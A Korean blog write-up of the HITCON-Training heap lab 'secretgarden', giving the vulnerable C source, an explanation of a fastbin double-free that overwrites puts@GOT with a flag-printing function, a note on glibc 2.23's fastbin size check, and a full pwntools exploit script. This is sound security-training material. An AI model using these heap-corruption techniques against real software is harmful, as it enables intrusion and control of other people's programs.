ghkdtlwns987

[hitcon_training] lab 12 (secretgarden) 본문

hitcon_training

[hitcon_training] lab 12 (secretgarden)

2020/03/31 2020. 9. 7. 21:54

 

#include <stdio.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define TIMEOUT 60


struct flower{
        int vaild ;
        char *name ;
        char color[24] ;
};


struct flower* flowerlist[100] ;
unsigned int flowercount = 0 ;



void menu(){
        puts("");
        puts("☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ");
        puts("☆         Baby Secret Garden      ☆ ");
        puts("☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ");
        puts("");
        puts("  1 . Raise a flower " );
        puts("  2 . Visit the garden ");
        puts("  3 . Remove a flower from the garden");
        puts("  4 . Clean the garden");
        puts("  5 . Leave the garden");
        puts("");
        printf("Your choice : ");
}

int add(){
        struct flower *newflower = NULL ;
        char *buf = NULL ;
        unsigned size =0;
        unsigned index ;
        if(flowercount < 100){
                newflower = malloc(sizeof(struct flower));
                memset(newflower,0,sizeof(struct flower));
                printf("Length of the name :");
                if(scanf("%u",&size)== EOF) exit(-1);
                buf = (char*)malloc(size);
                if(!buf){
                        puts("Alloca error !!");
                        exit(-1);
                }
                printf("The name of flower :");
                read(0,buf,size);
                newflower->name = buf ;
                printf("The color of the flower :");
                scanf("%23s",newflower->color);
                newflower->vaild = 1 ;
                for(index = 0 ; index < 100 ; index++ ){
                        if(!flowerlist[index]){
                                flowerlist[index] = newflower ;
                                break ;
                        }
                }
                flowercount++ ;
                puts("Successful !");
        }else{
                puts("The garden is overflow");
        }
}

int del(){
        unsigned int index ;
        if(!flowercount){
                puts("No flower in the garden");
        }else{
                printf("Which flower do you want to remove from the garden:");
                scanf("%d",&index);
                if(index < 0 ||index >= 100 || !flowerlist[index]){
                        puts("Invalid choice");
                        return 0 ;
                }
                (flowerlist[index])->vaild = 0 ;
                free((flowerlist[index])->name);
                puts("Successful");
        }
}
void magic(){
    int fd ;
    char buffer[100];
    fd = open("/home/babysecretgarden/flag",O_RDONLY);
    read(fd,buffer,sizeof(buffer));
    close(fd);
    printf("%s",buffer);
    exit(0);
}

void clean(){
        unsigned index ;
        for(index = 0 ; index < 100 ; index++){
                if(flowerlist[index] && (flowerlist[index])->vaild == 0){
                        free(flowerlist[index]);
                        flowerlist[index] = NULL;
                        flowercount--;
                }
        }
        puts("Done!");
}

int visit(){
        unsigned index ;
        if(!flowercount){
                puts("No flower in the garden !");
        }else{
                for(index = 0 ; index < 100 ; index++){
                        if(flowerlist[index] && (flowerlist[index])->vaild){
                                printf("Name of the flower[%u] :%s\n",index,(flowerlist[index])->name);
                                printf("Color of the flower[%u] :%s\n",index,(flowerlist[index])->color);
                        }
                }
        }
}

void handler(int signum){
        puts("timeout");
        exit(1);
}
void init(){
        int fd;
        fd = open("/dev/urandom",0);
        close(fd);
        setvbuf(stdout,0,2,0);
        signal(SIGALRM,handler);
        alarm(TIMEOUT);
}


int main(){
        init();
        int choice ;
        char buf[10];
        while(1){
                menu();
                read(0,buf,8);
                choice = atoi(buf);
                switch(choice){
                        case 1:
                                add();
                                break ;
                        case 2:
                                visit();
                                break ;
                        case 3:
                                del();
                                break ;
                        case 4:
                                clean();
                                break ;
                        case 5:
                                puts("See you next time.");
                                exit(0);
                        default :
                                puts("Invalid choice");
                                break ;
                }

        }

}

코드는 다음과 같다. 

코드가 조금 길긴하다. 그래서 분석하는데 애를 좀 먹었다, 

근데 분석해보고 나면 별거 없다. 

직접해보자!

 

이 문제같은 경우는 malloc(), free, 를 자유자재로 다룰 수 있다. 

또, heap 에 들어가는 변수가 전역변수의 주소가 들어간다. 

 

hticon_training lab12 까지 왔을 정도면 heap 에 대해 어느정도 알고는 있고, 

dfb 가 무엇인지 알고 있을거라는 가정하에 문제를 풀도록 하겠다.

 

 

Senario.

fastbin_dup 을 이용해 puts_got 를 할당 받고, 

puts_got 에 magic() 함수의 주소를 넣어준다. 

 

먼저 2번의 malloc() 호출을 해준다.

할당된 heap 모습.

 

 

double_free_bug를 발생

(free(0) , free(1), free(0))

 

dfb 이후의 heap 모습(heap 에 0x601ffa 를 할당함 (이유는 나중에)) 

정상적으로 0x601ffa 가 할당되었다. 

 

다음으로 malloc() 을 2차례 진행하게 되면 

다음과같이 heap 이 만들어진다. 

그리고 

이기 때문에 0x601ffa + 22 + p64(magic) 을 넣어주게 되면 성공적으로 Exploit 이 된다. 

 

위와같이 Exploit이 되었던 이유는

첫번째로 할당했던 값(AAAA) 와 (BBBB)가 free(0) free(1) free(0) 이 되면서 

A의 값에 값을 쓰는게 가능해 졌다. 

dfb 가 발생되어 fakechunk(0x601ffa) 의 값이 AAAA 가 저장되어있던 값에 들어가게 되었다. 

그렇다면 AAAA가 저장되어있던 0x205e040 의 주소의 fd 값에 0x601ffa 값이 들어갔을 것이다.

그리고 2번의 malloc() 를 해주어

(dfb 이후 malloc() 을 3번 해주게 되면 chunk[0], chunk[2] 에 같은 주솟값이 들어가기 때문)

(모르겠으면 fastbin_dup 에 대해 다시 공부하고 올 것)

다시 0x601ffa 의 값에 값을 쓰도록 만들어주었다.

그런데 fakechunk에 0x601ffa 의 값을 주었던 이유는 

0x60

0x60 = 96byte 이다. 

그래서 malloc() 으로 0x50 을 주었고(80byte) + metadata(0x10) = 96byte(0x90) 으로 size값에 들어가게 될 것이다.

그런데 여기서 한가지 의문점이 들 수 있다. 

0x601ffa 의 값은

오류는 malloc 요청 처리시 fastbin에서 첫 번째 청크를 제거하게 되면, 첫번재 청크의 크기가 fastbin 청크 범위에 속하지 않으면 security check 에 의해서 에러가 발생한다.(malloc(): memory corruption (fast))

그렇다면  0xe168000000000060 인데 어떻게 size값에 들어갈 수 있게 되었는지에 대해 알아보자.

size(0xe168000000000060)  ->  error???

 

이는 fastbin 범주에 속하는 size크기가 아니기 때문에 Exploit 에 지장이 있어보일 뿐 더러 오류가 발생할거 같다.

하지만 이는 정상적으로 size라고 인식을 한다. 

glibc2.23 에 있는 malloc.c 소스파일을 보게 되면 다음과 같은 코드가 있다.

((((unsigned int) ((((victim)->mchunk_size) & ~((0x1 | 0x2 | 0x4))))) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

위의 check 검증 코드는 size가 unsigned int형을 쓴다. 이 말은 즉 fastchunk size check에는 8byte, 4byte만 사용된다는 것이고 0xe1ffffff00000060같은 값도 check를 통과한다는 것이다.

 

이를 peda 로 사용해 직접 해보시려고 하는 분이 있으니 이 분의 블로그를 참조해보도록 하자.

xerxes-break.tistory.com/440

 

[glibc] malloc - fastbin size check 분석 : malloc(): memory corruption (fast)

HITCON-Training lab12 sercretgarden 문제를 풀다가 fastbin chunk size check 루틴에 의문을 가지게 되어서 알아보게 되었다. 이 문제 exploit시 아래와 같은 영역을 사용하게 된다. 문제는 아래 chunk의 size..

xerxes-break.tistory.com

 

 

마지막으로 exploit 코드는 다음과 같다.

from pwn import*

context(arch='amd64',os='linux')
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']

r = process('./secretgarden')
elf = ELF('./secretgarden')

gdb.attach(r)

magic = elf.symbols['magic']
puts_got = elf.got['puts']

def info():
        log.info('x64 Operation')
        log.info('magic = '+hex(magic))
        log.info('puts_got = '+hex(puts_got))

        print('\n')
        print('-------------------------')
        log.info('add   -> main + 109')
        log.info('visit -> main + 121')
        log.info('del   -> main + 133')
        log.info('clear -> main + 145')
        print('-------------------------')

        pause()

def add(length, flower,color):
        r.sendlineafter('choice :','1')
        r.sendlineafter('name :',str(length))
        r.sendafter('The name of flower :',str(flower))
        r.sendlineafter('color of the flower :',str(color))

        pause()

def visit():
        r.sendlineafter('choice:','2')

        pause()

def remove(index):
        r.sendlineafter('choice :','3')
        r.sendlineafter('garden:',str(index))

        pause()

def clean():
        r.sendlineafter('choice :','4')

        pause()

def leave():
        r.sendlineafter('choice :','5')
        r.recv()

        pause()

def main():
        info()

        add(0x50,'AAAA','AAAA')
        add(0x50,'BBBB','BBBB')
        remove(0)
        remove(1)
        remove(0)

        fakechunk = p64(0x601ffa)
        add(0x50,fakechunk,'DDDD')

        add(0x50,'EEEE','EEEE')
        add(0x50,'FFFF','FFFF')

        payload = ''
        payload += 'A'*22
        payload += p64(magic)
        add(0x50,payload,'GGGG')

        pause()

        r.interactive()

if __name__ == '__main__':
        main()
​

 

 

+ 참고로 hitcon_training lab 11(house of force) 문제는 glibc2.27에서도 풀렸다(노트북)

하지만 lab12 (secretgarden) 문제같은 경우는 이렇게 풀리지 않았다. 그래서 Ubuntu 16.04(glibc2.23) 환경에서 풀게 되었다.

+ lab11에 있는 unsafe unlink 문제같은 경우도 노트북으로 안되서 포기했었는데, glibc2.2.3환경에서 다시한번 풀어보려고 한다. 

'hitcon_training' 카테고리의 다른 글

[hitcon_training] LAB 15 (zoo)  (0) 2020.09.24
[hitcon_traininig] LAB 14 (magicheap)  (0) 2020.09.21
[hitcon_training] LAB13 (Extend Chunks)  (0) 2020.09.11
[hitcon_training] LAB11 (bamboobox)  (0) 2020.09.06
Comments